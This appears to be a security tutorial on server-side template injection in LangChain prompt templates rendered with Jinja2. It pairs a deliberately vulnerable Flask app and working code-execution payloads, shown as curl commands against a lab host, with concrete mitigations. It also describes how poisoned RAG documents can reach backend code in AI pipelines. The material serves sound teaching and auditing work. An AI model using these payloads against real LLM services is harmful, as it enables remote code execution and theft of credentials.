PyFu

Server Side Template Injection (SSTI) in AI Prompt Templates

Python-based Web Application Attacks

Large Language Model (LLM) applications rarely send raw user input to the model. Instead, they wrap it in a prompt template, a parameterized string that mixes fixed instructions with dynamic values such as the user’s question, retrieved documents, or conversation history. When that template is built with the same Python engines used for HTML rendering, the application inherits the exact same Server-Side Template Injection (SSTI) attack surface, only now it lives deep inside the AI pipeline where most reviewers never look.

The mistake is the same one we cover in Server Side Template Injection (SSTI) in Flask Application: user input is concatenated into a template before the template is compiled, rather than being passed as a bound variable. Because frameworks like LangChain expose a Jinja2 backend for prompt templates, an attacker who controls part of a prompt can break out of the string and reach Python’s object model, exactly like a classic Jinja2 SSTI. The result is full remote code execution on the machine hosting the LLM application, which is frequently a backend service holding API keys, vector database credentials, and internal network access.

Why prompt templates are a template engine

A prompt template is just a string with placeholders. The naive way to build one is direct interpolation:

user_question = request.json["question"]
prompt = f"You are a helpful assistant. Answer this question: {user_question}"

This is a prompt injection problem, but not SSTI, because the string is never handed to a template engine. The dangerous pattern appears when developers reach for a real templating engine to manage more complex prompts, which is common once a prompt contains conditionals, loops over retrieved chunks, or few-shot examples.

LangChain’s PromptTemplate defaults to a f-string formatter, but it explicitly supports Jinja2 through template_format="jinja2". Jinja2 is attractive for prompt engineering because it offers {% for %} loops and {% if %} blocks that the f-string formatter cannot express. That single configuration flag turns the prompt builder into a full Jinja2 environment.

Vulnerable Application Example

The following Flask service exposes a document-summarization endpoint. It uses LangChain with a Jinja2-formatted prompt template, and it builds that template by concatenating a user-supplied “style” instruction directly into the template source:

from flask import Flask, request, jsonify
from langchain_core.prompts import PromptTemplate

app = Flask(__name__)

@app.route("/summarize", methods=["POST"])
def summarize():
    data = request.get_json()
    document = data.get("document", "")
    style = data.get("style", "concise")

    # Vulnerable: user input is baked into the template SOURCE,
    # then compiled by the Jinja2 engine.
    template_source = (
        "You are a summarization assistant.\n"
        f"Write a {style} summary of the following document:\n"
        "{{ document }}"
    )

    prompt = PromptTemplate.from_template(
        template_source,
        template_format="jinja2",
    )

    rendered = prompt.format(document=document)
    # rendered would normally be sent to an LLM here.
    return jsonify({"prompt": rendered})

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

The author did the right thing for document, passing it as the bound variable {{ document }}. But style is interpolated into template_source with an f-string before PromptTemplate.from_template() compiles the string as Jinja2. Whatever Jinja2 syntax the attacker puts in style becomes part of the template program, not part of its data.

Confirming the injection

The same {{7*7}} probe used against web templates works here. Send a style value that contains a Jinja2 expression:

curl -X POST http://target:5000/summarize \
  -H "Content-Type: application/json" \
  -d '{"document": "hello", "style": "{{7*7}}"}'

The response echoes the rendered prompt:

{"prompt": "You are a summarization assistant.\nWrite a 49 summary of the following document:\nhello"}

The 49 confirms that style was evaluated as a Jinja2 expression rather than treated as text. From here the path is identical to any Jinja2 SSTI: walk Python’s object graph from a built-in type up to object, enumerate its subclasses, and locate a class that grants code execution. The mechanics of this class-walking chain are covered in detail in Python Jinja2 Server Side Template Injection and Python Introspection.

Escalating to code execution

LangChain’s prompt templates use a standard (non-sandboxed) Jinja2 environment, so the usual globals are reachable. The most reliable payloads pull os out of a function’s __globals__ rather than relying on brittle __subclasses__() indexes:

curl -X POST http://target:5000/summarize \
  -H "Content-Type: application/json" \
  -d '{"document": "x", "style": "{{ cycler.__init__.__globals__.os.popen(\"id\").read() }}"}'

cycler is a global that Jinja2 exposes in its default environment; its __init__ is a normal Python function, so __globals__ hands back the module namespace it was defined in, from which os is reachable. The rendered prompt now contains the output of id:

{"prompt": "You are a summarization assistant.\nWrite a uid=1001(app) gid=1001(app) groups=1001(app) summary of the following document:\nx"}

If cycler is not available, the subclass-walking payload works against any string in the template context:

{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id', shell=True, stdout=-1).communicate() }}

where INDEX points at subprocess.Popen in the running interpreter. The command executes on the application server during prompt construction, before a single token is ever sent to the model.

Where this hides in real pipelines

The summarization endpoint above is deliberately minimal. In production codebases the same flaw appears in less obvious places:

# Pattern 1: system prompt assembled from a user-editable "persona"
template_source = "You are " + persona + ". {{ user_input }}"
PromptTemplate.from_template(template_source, template_format="jinja2")

# Pattern 2: few-shot examples loaded from a database the user can write to
examples = "\n".join(row["text"] for row in db.fetch_examples())
PromptTemplate.from_template(examples + "\n{{ query }}", template_format="jinja2")

# Pattern 3: agent tool descriptions built from user-named tools
tool_desc = f"Tool {tool_name}: {{ '{' }}{{ input }}{{ '}' }}"

Any value an attacker can influence, a persona field, a saved prompt preset, a RAG document later rendered through Jinja2, a tool name, becomes an injection point the moment it is concatenated into template source instead of bound as a variable. RAG pipelines are particularly dangerous because the “untrusted input” can arrive indirectly: a poisoned document ingested into the vector store gets retrieved and rendered through the same Jinja2 template that processes the user query.

Why SSTI in prompt templates matters from an offensive security perspective

This is the bug class I most want to find in an AI codebase, because it pays out as full remote code execution on a backend that usually holds the crown jewels: model API keys, vector database credentials, and internal network reach. The web community files this under “prompt injection” and worries about the model’s behaviour, but the interesting failure happens before a single token reaches the model. The same __globals__ and __subclasses__() chains that have broken Jinja2 sandboxes for a decade execute during prompt construction, in-process, on the application server. The AI wrapper changes nothing about the underlying Python.

When I audit an LLM pipeline these are the tells:

  • template_format="jinja2" on LangChain PromptTemplate. This is the single grep that flips a prompt builder into a full Jinja2 engine. I trace every value that reaches the template string.
  • Input concatenated into template source instead of bound as a variable. from_template("..." + user_value, ...) is the vulnerable shape; prompt.format(var=user_value) is not. The position of the value, source versus binding, decides everything.
  • Personas, saved presets, and tool names. These feel like configuration, so reviewers treat them as trusted, but anything a user can influence and that lands in template source is an injection point.
  • RAG documents rendered through Jinja2. A poisoned document retrieved from the vector store hits the same template that processes the query, turning indirect injection into RCE with no direct interaction.
  • Non-sandboxed environment. LangChain’s default Jinja2 environment is not sandboxed, so cycler.__init__.__globals__.os is reachable immediately.

The defender takeaway: prompt construction is code-execution surface, not just a prompt-hygiene concern. Keep untrusted values out of template source and treat the LLM gateway like any other RCE-reachable service.

Proof of exploitation

Run the lab app (PyFuLabs/flask-fu/flask-ssti-ai) and inject into the style field, which is concatenated into the prompt template source before Jinja2 compiles it:

curl -s -X POST "http://pyfu.local/flask-fu/flask-ssti-ai/summarize" \
  -H "Content-Type: application/json" \
  -d '{"document":"x","style":"{{ cycler.__init__.__globals__.os.popen(\"id\").read() }}"}'
{
  "prompt": "You are a summarization assistant.\nWrite a uid=0(root) gid=0(root) groups=0(root)\n summary of the following document:\nx"
}

The command output is baked into the prompt before a single token reaches the model, which is code execution during prompt construction.

Mitigation

Treat prompt templates exactly like HTML templates. Never concatenate untrusted input into the template source; pass it as a bound variable so the engine treats it as data:

# Safe: the template source is a constant; both style and document are bound.
template_source = (
    "You are a summarization assistant.\n"
    "Write a {{ style }} summary of the following document:\n"
    "{{ document }}"
)

prompt = PromptTemplate.from_template(
    template_source,
    template_format="jinja2",
)

rendered = prompt.format(style=style, document=document)

When the engine renders {{ style }}, an attacker-supplied {{7*7}} is inserted as the literal text {{7*7}} and never re-evaluated.

When the template structure genuinely must change based on input, restrict the choice to an allowlist of pre-written templates rather than building source strings:

TEMPLATES = {
    "concise": PromptTemplate.from_template("Write a concise summary:\n{{ document }}", template_format="jinja2"),
    "detailed": PromptTemplate.from_template("Write a detailed summary:\n{{ document }}", template_format="jinja2"),
}
prompt = TEMPLATES.get(style, TEMPLATES["concise"])

If user-controlled templates are an unavoidable product requirement, render them inside Jinja2’s SandboxedEnvironment, which blocks access to dunder attributes and the object-walking chains shown above. Note that the sandbox raises the bar but is not an absolute boundary, escapes against SandboxedEnvironment exist, so it should be combined with strict input validation and least-privilege deployment of the service account running the LLM application.

The takeaway for defenders: prompt construction is code execution surface, not just a place to worry about prompt injection. When auditing an LLM application, grep for template_format="jinja2" and trace every value that flows into a template string. If any of them is influenced by a user, a stored document, or an external API, you are looking at a potential SSTI that turns the AI gateway into a shell on the backend. This is the Python-internals angle on a problem the broader community treats purely as “prompt injection”, the same __subclasses__() and __globals__ chains that have broken Jinja2 sandboxes for a decade apply unchanged to the AI stack.